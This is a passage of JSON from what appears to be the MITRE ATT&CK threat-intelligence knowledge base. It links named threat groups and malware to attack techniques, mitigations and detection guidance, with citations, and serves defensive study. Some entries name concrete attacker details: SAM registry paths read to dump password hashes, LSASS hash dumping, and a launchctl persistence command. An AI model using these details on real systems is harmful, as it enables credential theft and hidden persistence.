the ability to deobfuscate downloaded files prior to execution.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3d8a792-5c54-4e37-9ce1-6a8555e76a03","type":"relationship","created":"2019-05-02T00:08:18.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2019-06-12T19:55:22.044Z","description":"[The White Company](https://attack.mitre.org/groups/G0089) has sent phishing emails with malicious Microsoft Word attachments to victims.(Citation: Cylance Shaheen Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3e50d39-fa69-4fca-9353-259247dbd439","type":"relationship","created":"2019-10-05T02:15:30.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amazon S3 Security, 2019","url":"https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/","description":"Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."}],"modified":"2020-07-09T14:02:05.435Z","description":"Frequently check permissions on cloud storage to ensure proper permissions are set to deny open or unprivileged access to resources.(Citation: Amazon S3 Security, 2019)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3e55e40-d284-4c43-9602-145d6643bc7b","type":"relationship","created":"2020-08-17T14:37:43.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:37:43.590Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) InvisiMole can identify proxy servers used by the victim and use them for C2 communication.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3e841fa-b806-4c22-9f98-a97950b68931","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.144Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) drops itself onto removable media and relies on Autorun to execute the malicious file when a user opens the removable media on another system.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e3f48900-e929-4040-8e7b-13d06933ce1d","created":"2022-08-26T21:59:27.816Z","x_mitre_version":"0.1","external_references":[{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has used `cmd.exe` for execution.(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-26T21:59:27.816Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3f593f3-0cea-4795-95a1-7be411c91291","type":"relationship","created":"2020-02-25T19:34:15.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:35:58.322Z","description":"Do not allow remote access to services as a privileged account unless necessary.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3f77039-014f-4786-b226-808167d75a96","type":"relationship","created":"2021-10-14T15:12:18.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.152Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3f7935d-0f3a-440a-be19-ef9383914441","type":"relationship","created":"2019-05-28T16:36:50.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:09:49.188Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has sent spearphishing emails containing malicious links.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 Jan 2019)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e3f80c24-352f-43e7-bf1e-eeba9bc348cc","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T22:15:17.196Z","description":"Monitor for API calls (such as GetForegroundWindow()) that may attempt to get a listing of open application windows. GetForegroundWindow api returns a handle to the foreground window (the window with which the user is currently working). Other API calls relevant to Local Group discovery include GetProcesses and GetForegroundWindow. GetProcesses api returns an array of type Process that represents all the process resources running on the local computer.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3fa0df1-d388-4e74-b561-acc5094a8e1b","type":"relationship","created":"2020-10-09T16:24:39.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-19T16:33:42.066Z","description":"[Maze](https://attack.mitre.org/software/S0449) has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using msiexec.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3fe170d-55c7-4f98-9d39-6ee28403ce87","type":"relationship","created":"2020-10-02T16:55:16.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:55:16.136Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e3fe5089-90fc-47e6-afc7-fb0c41ba7c0c","type":"relationship","created":"2020-08-10T14:43:04.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.594Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can gather data on the user of a compromised host.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e4007652-cc24-4786-926f-db4ff8349e88","created":"2022-09-16T15:40:40.940Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:40:40.940Z","description":"(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e4030866-a970-4af5-9d50-b33c7751a8ba","created":"2022-07-26T20:41:04.710Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022)'s Credential Dumper module can dump encrypted password hashes from SAM registry keys, including `HKLM\\SAM\\SAM\\Domains\\Account\\F` and `HKLM\\SAM\\SAM\\Domains\\Account\\Users\\*\\V`.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-07-26T20:41:04.710Z","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e40421c6-cf5e-4e99-8259-07dcc1234365","created":"2023-04-04T22:49:00.465Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:49:00.465Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can dump password hashes from `LSASS.exe`.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e40a416e-ca15-4c15-b469-20549b81e6bd","created":"2020-08-27T17:29:05.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.431Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used WMIC to execute remote commands.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e41950cc-dfd9-427d-accc-b7bdfacdfa8e","created":"2022-09-29T19:49:56.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T23:03:54.572Z","description":"Detecting the presence of stripped payloads may be difficult and unwarranted in real-time, though analyzing contextual data about files (such as content and character entropy) may highlight attempts at obfuscation.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.422Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) downloads another dropper from its C2 server.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e41eea8b-20d6-4050-96e6-6b59670f6e65","created":"2021-03-12T18:46:47.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:12:57.204Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has modified the Registry to install a second-stage script in the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4236234-0fd7-426f-b55a-d32364e3a64e","type":"relationship","created":"2019-06-21T17:26:42.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.157Z","description":"If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e424b236-8c54-482b-b390-a15345f5c35c","type":"relationship","created":"2020-10-22T20:24:01.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA NCSC Turla OilRig","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."}],"modified":"2020-10-22T20:24:01.356Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used the VPS infrastructure of compromised Iranian threat actors.(Citation: NSA NCSC Turla OilRig)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e42547e7-0bf9-4a29-b3af-f80bd0b78e38","type":"relationship","created":"2020-03-12T18:55:23.567Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"}],"modified":"2020-03-12T18:55:23.567Z","description":" The [Komplex](https://attack.mitre.org/software/S0162) trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.(Citation: Sofacy Komplex Trojan)","relationship_type":"uses","source_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e42b5898-2a13-4266-941c-8ef8b8090c8d","type":"relationship","created":"2020-05-18T21:01:51.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.290Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used a batch script to run the Linux virtual machine as a service.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e42eef1a-107e-40a3-9227-45621e277ff3","created":"2017-05-31T21:33:27.066Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families install themselves as new services.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e433aa4c-acb3-4283-a746-9ef79ebb81bf","created":"2023-08-03T20:08:05.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:09:18.476Z","description":"(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e436db66-3617-4c72-8e63-9d6ab0e4c3d5","type":"relationship","created":"2021-03-26T17:09:13.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC 